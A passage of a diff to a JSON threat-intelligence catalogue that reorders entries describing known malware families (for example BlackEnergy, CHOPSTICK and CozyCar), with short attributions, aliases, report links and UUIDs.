"https://attack.mitre.org/wiki/Software/S0129", + "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + ], + "uuid": "f5352566-1a64-49ac-8f7f-97e1d1a03300" + }, + "value": "AutoIt" + }, + { + "description": "is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan.[[Citation: XAgentOSX]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0161", + "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + ], + "uuid": "5930509b-7793-4db9-bdfc-4edda7709d0d" + }, + "related": [ + { + "dest-uuid": "59a97b15-8189-4d51-9404-e1ce8ea4a069", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "XAgentOSX" + }, + { + "description": "OwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390.[[Citation: Dell TG-3390]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0072", + "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/" + ], + "uuid": "a60657fa-e2e7-4f8f-8128-a882534ae8c5" + }, + "value": "OwaAuth" + }, + { + "description": "ASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version.[[Citation: Dell TG-3390]]\n\nAliases: ASPXSpy, ASPXTool", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0073", + "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/" + ], + "synonyms": [ + "ASPXSpy", + "ASPXTool" + ], + "uuid": "56f46b17-8cfa-46c0-b501-dd52fef394e2" + }, + "value": "ASPXSpy" + }, + { + "description": "BISCUIT is a backdoor that has been used by APT1 since as early as 2007.[[Citation: Mandiant APT1]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0017", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "uuid": "b8eb28e4-48a6-40ae-951a-328714f75eda" + }, + "related": [ + { + "dest-uuid": "f1e05a12-ca50-41ab-a963-d7df5bcb141d", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "BISCUIT" + }, + { + "description": "ROCKBOOT is a Bootkit that has been used by an unidentified, suspected China-based group.[[Citation: FireEye Bootkits]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0112", + "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html" + ], + "uuid": "cba78a1c-186f-4112-9e6a-be1839f030f7" + }, + "value": "ROCKBOOT" + }, + { + "description": "SOUNDBITE is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0157", + "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + ], + "uuid": "f5ac89a7-e129-43b7-bd68-e3cb1e5a3ba2" + }, + "related": [ + { + "dest-uuid": "9ca488bd-9587-48ef-b923-1743523e63b2", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "f4cac204-3d3f-4bb6-84bd-fc27b2f5158c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "SOUNDBITE" + }, + { + "description": "BlackEnergy is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3.[[Citation: F-Secure BlackEnergy 2014]]\n\nAliases: BlackEnergy, Black Energy", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0089", + "https://www.f-secure.com/documents/996508/1030745/blackenergy%20whitepaper.pdf" + ], + "synonyms": [ + "BlackEnergy", + "Black Energy" + ], + "uuid": "54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4" + }, + "related": [ + { + "dest-uuid": "5a22cad7-65fa-4b7a-a7aa-7915a6101efa", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "82c644ab-550a-4a83-9b35-d545f4719069", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "BlackEnergy" }, { "description": "HTTPBrowser is malware that has been used by several threat groups.[[Citation: ThreatStream Evasion Analysis]][[Citation: Dell TG-3390]] It is believed to be of Chinese origin.[[Citation: ThreatConnect Anthem]]\n\nAliases: HTTPBrowser, Token Control, HttpDump", @@ -989,343 +969,6 @@ ], "value": "HTTPBrowser" }, - { - "description": "HAMMERTOSS is a backdoor that was used by APT29 in 2015.[[Citation: FireEye APT29]][[Citation: F-Secure The Dukes]]\n\nAliases: HAMMERTOSS, HammerDuke, NetDuke", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0037", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "synonyms": [ - "HAMMERTOSS", - "HammerDuke", - "NetDuke" - ], - "uuid": "2daa14d6-cbf3-4308-bb8e-213c324a08e4" - }, - "value": "HAMMERTOSS" - }, - { - "description": "PoisonIvy is a popular remote access tool (RAT) that has been used by many groups.[[Citation: FireEye Poison Ivy]]\n\nAliases: PoisonIvy, Poison Ivy", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0012", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" - ], - "synonyms": [ - "PoisonIvy", - "Poison Ivy" - ], - "uuid": "b42378e0-f147-496f-992a-26a49705395b" - }, - "related": [ - { - "dest-uuid": "4e104fef-8a2c-4679-b497-6e86d7d47db0", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "2abe89de-46dd-4dae-ae22-b49a593aff54", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "7789fc1b-3cbc-4a1c-8ef0-8b06760f93e7", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "e336aeba-b61a-44e0-a0df-cd52a5839db5", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "PoisonIvy" - }, - { - "description": "Carbanak is a remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines.[[Citation: Kaspersky Carbanak]]\n\nAliases: Carbanak, Anunak", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0030", - "https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf" - ], - "synonyms": [ - "Carbanak", - "Anunak" - ], - "uuid": "72f54d66-675d-4587-9bd3-4ed09f9522e4" - }, - "related": [ - { - "dest-uuid": "8c246ec4-eaa5-42c0-b137-29f28cbb6832", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Carbanak" - }, - { - "description": "Ixeshe is a malware family that has been used since 2009 to attack targets in East Asia.[[Citation: Moran 2013]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0015", - "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html" - ], - "uuid": "8beac7c2-48d2-4cd9-9b15-6c452f38ac06" - }, - "value": "Ixeshe" - }, - { - "description": "BADNEWS is malware that has been used by the actors responsible for the MONSOON campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control.[[Citation: Forcepoint Monsoon]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0128", - "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" - ], - "uuid": "e9595678-d269-469e-ae6b-75e49259de63" - }, - "value": "BADNEWS" - }, - { - "description": "Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries.[[Citation: Kaspersky Flame]]\n\nAliases: Flame, Flamer, sKyWIper", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0143", - "https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/" - ], - "synonyms": [ - "Flame", - "Flamer", - "sKyWIper" - ], - "uuid": "ff6840c9-4c87-4d07-bbb6-9f50aa33d498" - }, - "related": [ - { - "dest-uuid": "d7963066-62ed-4494-9b8c-4b8b691a7c82", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Flame" - }, - { - "description": "RIPTIDE is a proxy-aware backdoor used by APT12.[[Citation: Moran 2014]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0003", - "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" - ], - "uuid": "ad4f146f-e3ec-444a-ba71-24bffd7f0f8e" - }, - "related": [ - { - "dest-uuid": "91583583-95c0-444e-8175-483cbebc640b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "RIPTIDE" - }, - { - "description": "CozyCar is malware that was used by APT29 from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality.[[Citation: F-Secure The Dukes]]\n\nAliases: CozyCar, CozyDuke, CozyBear, Cozer, EuroAPT", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0046", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "synonyms": [ - "CozyCar", - "CozyDuke", - "CozyBear", - "Cozer", - "EuroAPT" - ], - "uuid": "e6ef745b-077f-42e1-a37d-29eecff9c754" - }, - "value": "CozyCar" - }, - { - "description": "Mivast is a backdoor that has been used by Deep Panda. It was reportedly used in the Anthem breach.[[Citation: Symantec Black Vine]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0080", - "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf" - ], - "uuid": "fbb470da-1d44-4f29-bbb3-9efbe20f94a3" - }, - "value": "Mivast" - }, - { - "description": "Cherry Picker is a point of sale (PoS) memory scraper.[[Citation: Trustwave Cherry Picker]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0107", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/" - ], - "uuid": "b2203c59-4089-4ee4-bfe1-28fa25f0dbfe" - }, - "value": "Cherry Picker" - }, - { - "description": "XTunnel a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by APT28 during the compromise of the Democratic National Committee.[[Citation: Crowdstrike DNC June 2016]][[Citation: Invincea XTunnel]][[Citation: ESET Sednit Part 2]]\n\nAliases: XTunnel, X-Tunnel, XAPS", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0117", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", - "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/", - "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" - ], - "synonyms": [ - "XTunnel", - "X-Tunnel", - "XAPS" - ], - "uuid": "7343e208-7cab-45f2-a47b-41ba5e2f0fab" - }, - "related": [ - { - "dest-uuid": "6d180bd7-3c77-4faf-b98b-dc2ab5f49101", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "53089817-6d65-4802-a7d2-5ccc3d919b74", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "XTunnel" - }, - { - "description": "GeminiDuke is malware that was used by APT29 from 2009 to 2012.[[Citation: F-Secure The Dukes]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0049", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "uuid": "199463de-d9be-46d6-bb41-07234c1dd5a6" - }, - "related": [ - { - "dest-uuid": "6a28a648-30c0-4d1d-bd67-81a8dc6486ba", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "GeminiDuke" - }, - { - "description": "Sakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015.[[Citation: Dell Sakula]]\n\nAliases: Sakula, Sakurel, VIPER", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0074", - "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" - ], - "synonyms": [ - "Sakula", - "Sakurel", - "VIPER" - ], - "uuid": "96b08451-b27a-4ff6-893f-790e26393a8e" - }, - "related": [ - { - "dest-uuid": "3eca2d5f-41bf-4ad4-847f-df18befcdc44", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "f6c137f0-979c-4ce2-a0e5-2a080a5a1746", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "e88eb9b1-dc8b-4696-8dcf-0c29924d0f8b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Sakula" - }, - { - "description": "Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008.[[Citation: Securelist Agent.btz]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0092", - "https://securelist.com/blog/virus-watch/58551/agent-btz-a-source-of-inspiration/" - ], - "uuid": "40d3e230-ed32-469f-ba89-be70cc08ab39" - }, - "value": "Agent.btz" - }, - { - "description": "Prikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008.[[Citation: ESET Operation Groundbait]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0113", - "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" - ], - "uuid": "37cc7eb6-12e3-467b-82e8-f20f2cc73c69" - }, - "related": [ - { - "dest-uuid": "67ade442-63f2-4319-bdcd-d2564b963ed6", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Prikormka" - }, - { - "description": "NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.”[[Citation: FireEye APT30]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0034", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" - ], - "uuid": "53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2" - }, - "related": [ - { - "dest-uuid": "3bb8052e-8ed2-48e3-a2cf-7358bae8c6b5", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "NETEAGLE" - }, { "description": "USBStealer is malware that has used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL.[[Citation: ESET Sednit USBStealer 2014]][[Citation: Kaspersky Sofacy]]\n\nAliases: USBStealer, USB Stealer, Win32/USBStealer", "meta": { @@ -1353,178 +996,24 @@ "value": "USBStealer" }, { - "description": "CALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic.[[Citation: Mandiant APT1]]", + "description": "TinyZBot is a bot written in C# that was developed by Cleaver.[[Citation: Cylance Cleaver]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0025", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + "https://attack.mitre.org/wiki/Software/S0004", + "http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf" ], - "uuid": "5a84dc36-df0d-4053-9b7c-f0c388a57283" + "uuid": "c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9" }, "related": [ { - "dest-uuid": "e2c18713-0a95-4092-a0e9-76358512daad", + "dest-uuid": "e2cc27a2-4146-4f08-8e80-114a99204cea", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "CALENDAR" - }, - { - "description": "is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan.[[Citation: XAgentOSX]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0161", - "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" - ], - "uuid": "5930509b-7793-4db9-bdfc-4edda7709d0d" - }, - "related": [ - { - "dest-uuid": "59a97b15-8189-4d51-9404-e1ce8ea4a069", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "XAgentOSX" - }, - { - "description": "Regin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003.[[Citation: Kaspersky Regin]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0019", - "https://securelist.com/files/2014/11/Kaspersky%20Lab%20whitepaper%20Regin%20platform%20eng.pdf" - ], - "uuid": "4c59cce8-cb48-4141-b9f1-f646edfaadb0" - }, - "related": [ - { - "dest-uuid": "0cf21558-1217-4d36-9536-2919cfd44825", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "4cbe9373-6b5e-42d0-9750-e0b7fc0d58bb", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Regin" - }, - { - "description": "AutoIt is a backdoor that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352.[[Citation: Forcepoint Monsoon]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0129", - "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" - ], - "uuid": "f5352566-1a64-49ac-8f7f-97e1d1a03300" - }, - "value": "AutoIt" - }, - { - "description": "Pteranodon is a custom backdoor used by Gamaredon Group.[[Citation: Palo Alto Gamaredon Feb 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0147", - "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" - ], - "uuid": "5f9f7648-04ba-4a9f-bb4c-2a13e74572bd" - }, - "related": [ - { - "dest-uuid": "d5138738-846e-4466-830c-cd2bb6ad09cf", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Pteranodon" - }, - { - "description": "RARSTONE is malware used by the Naikon group that has some characteristics similar to PlugX.[[Citation: Aquino RARSTONE]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0055", - "http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/" - ], - "uuid": "8c553311-0baa-4146-997a-f79acef3d831" - }, - "related": [ - { - "dest-uuid": "5d2dd6ad-6bb2-45d3-b295-e125d3399c8d", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "RARSTONE" - }, - { - "description": "SHOTPUT is a custom backdoor used by APT3.[[Citation: FireEye Clandestine Wolf]]\n\nAliases: SHOTPUT, Backdoor.APT.CookieCutter, Pirpi", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0063", - "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html" - ], - "synonyms": [ - "SHOTPUT", - "Backdoor.APT.CookieCutter", - "Pirpi" - ], - "uuid": "58adaaa8-f1e8-4606-9a08-422e568461eb" - }, - "related": [ - { - "dest-uuid": "4859330d-c6a5-4b9c-b45b-536ec983cd4a", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "SHOTPUT" - }, - { - "description": "Trojan.Karagany is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums.[[Citation: Symantec Dragonfly]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0094", - "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf" - ], - "uuid": "82cb34ba-02b5-432b-b2d2-07f55cbf674d" - }, - "value": "Trojan.Karagany" - }, - { - "description": "Kasidet is a backdoor that has been dropped by using malicious VBA macros.[[Citation: Zscaler Kasidet]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0088", - "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" - ], - "uuid": "26fed817-e7bf-41f9-829a-9075ffac45c2" - }, - "related": [ - { - "dest-uuid": "3760920e-4d1a-40d8-9e60-508079499076", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Kasidet" + "value": "TinyZBot" }, { "description": "CHOPSTICK is malware family of modular backdoors used by APT28. It has been used from at least November 2012 to August 2016 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases.[[Citation: FireEye APT28]][[Citation: ESET Sednit Part 2]][[Citation: FireEye APT28 January 2017]]\n\nAliases: CHOPSTICK, SPLM, Xagent, X-Agent, webhp", @@ -1577,114 +1066,122 @@ "value": "CHOPSTICK" }, { - "description": "MiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke.[[Citation: F-Secure The Dukes]]", + "description": "CozyCar is malware that was used by APT29 from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality.[[Citation: F-Secure The Dukes]]\n\nAliases: CozyCar, CozyDuke, CozyBear, Cozer, EuroAPT", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0051", + "https://attack.mitre.org/wiki/Software/S0046", "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" ], - "uuid": "5e7ef1dc-7fb6-4913-ac75-e06113b59e0c" - }, - "value": "MiniDuke" - }, - { - "description": "BBSRAT is malware with remote access tool functionality that has been used in targeted compromises.[[Citation: Palo Alto Networks BBSRAT]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0127", - "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + "synonyms": [ + "CozyCar", + "CozyDuke", + "CozyBear", + "Cozer", + "EuroAPT" ], - "uuid": "64d76fa5-cf8f-469c-b78c-1a4f7c5bad80" + "uuid": "e6ef745b-077f-42e1-a37d-29eecff9c754" }, - "related": [ - { - "dest-uuid": "cad1d6db-3a6c-4d67-8f6e-627d8a168d6a", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "BBSRAT" + "value": "CozyCar" }, { - "description": "Elise is a custom backdoor Trojan that appears to be used exclusively by Lotus Blossom. It is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU.[[Citation: Lotus Blossom Jun 2015]]\n\nAliases: Elise, BKDR_ESILE, Page", + "description": "ChChes is a Trojan that appears to be used exclusively by menuPass. It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool.[[Citation: Palo Alto menuPass Feb 2017]][[Citation: JPCERT ChChes Feb 2017]][[Citation: PWC Cloud Hopper Technical Annex April 2017]]\n\nAliases: ChChes, Scorpion, HAYMAKER", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0081", - "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + "https://attack.mitre.org/wiki/Software/S0144", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/", + "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html" ], "synonyms": [ - "Elise", - "BKDR_ESILE", - "Page" + "ChChes", + "Scorpion", + "HAYMAKER" ], - "uuid": "7551188b-8f91-4d34-8350-0d0c57b2b913" + "uuid": "dc5d1a33-62aa-4a0c-aa8c-589b87beb11e" }, "related": [ { - "dest-uuid": "d70fd29d-590e-4ed5-b72f-6ce0142019c6", + "dest-uuid": "d71604d2-a17e-4b4e-82be-19cb54f93161", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "3477a25d-e04b-475e-8330-39f66c10cc01", + "dest-uuid": "6eee9bf9-ffce-4c88-a5ad-9d80f6fc727c", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "Elise" + "value": "ChChes" }, { - "description": "BISCUIT is a backdoor that has been used by APT1 since as early as 2007.[[Citation: Mandiant APT1]]", + "description": "CosmicDuke is malware that was used by APT29 from 2010 to 2015.[[Citation: F-Secure The Dukes]]\n\nAliases: CosmicDuke, TinyBaron, BotgenStudios, NemesisGemina", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0017", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + "https://attack.mitre.org/wiki/Software/S0050", + "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" ], - "uuid": "b8eb28e4-48a6-40ae-951a-328714f75eda" + "synonyms": [ + "CosmicDuke", + "TinyBaron", + "BotgenStudios", + "NemesisGemina" + ], + "uuid": "2eb9b131-d333-4a48-9eb4-d8dec46c19ee" + }, + "value": "CosmicDuke" + }, + { + "description": "CloudDuke is malware that was used by APT29 in 2015.[[Citation: F-Secure The Dukes]][[Citation: Securelist Minidionis July 2015]]\n\nAliases: CloudDuke, MiniDionis, CloudLook", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0054", + "https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/", + "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" + ], + "synonyms": [ + "CloudDuke", + "MiniDionis", + "CloudLook" + ], + "uuid": "cbf646f1-7db5-4dc6-808b-0094313949df" + }, + "value": "CloudDuke" + }, + { + "description": "CORESHELL is a downloader used by APT28. The older versions of this malware are known as SOURFACE and newer versions as CORESHELL. It has also been referred to as Sofacy, though that term has been used widely to refer to both the group APT28 and malware families associated with the group.[[Citation: FireEye APT28]][[Citation: FireEye APT28 January 2017]]\n\nAliases: CORESHELL, SOURFACE", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0137", + "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + ], + "synonyms": [ + "CORESHELL", + "SOURFACE" + ], + "uuid": "60c18d06-7b91-4742-bae3-647845cd9d81" }, "related": [ { - "dest-uuid": "f1e05a12-ca50-41ab-a963-d7df5bcb141d", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "BISCUIT" - }, - { - "description": "Uroburos is a rootkit used by Turla.[[Citation: Kaspersky Turla]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0022", - "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/" - ], - "uuid": "80a014ba-3fef-4768-990b-37d8bd10d7f4" - }, - "related": [ - { - "dest-uuid": "22332d52-c0c2-443c-9ffb-f08c0d23722c", + "dest-uuid": "1de47f51-1f20-403b-a2e1-5eaabe275faa", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "d674ffd2-1f27-403b-8fe9-b4af6e303e5c", + "dest-uuid": "3948ce95-468e-4ce1-82b1-57439c6d6afd", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "Uroburos" + "value": "CORESHELL" }, { "description": "POWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped.[[Citation: FireEye FIN7 March 2017]][[Citation: Cisco DNSMessenger March 2017]]\n\nAliases: POWERSOURCE, DNSMessenger", @@ -1726,239 +1223,253 @@ "value": "POWERSOURCE" }, { - "description": "hcdLoader is a remote access tool (RAT) that has been used by APT18.[[Citation: Dell Lateral Movement]]", + "description": "CallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell.[[Citation: Scarlet Mimic Jan 2016]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0071", - "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + "https://attack.mitre.org/wiki/Software/S0077", + "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" ], - "uuid": "9e2bba94-950b-4fcf-8070-cb3f816c5f4e" + "uuid": "cb7bcf6f-085f-41db-81ee-4b68481661b5" }, - "related": [ - { - "dest-uuid": "12bb8f4f-af29-49a0-8c2c-d28468f28fd8", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" 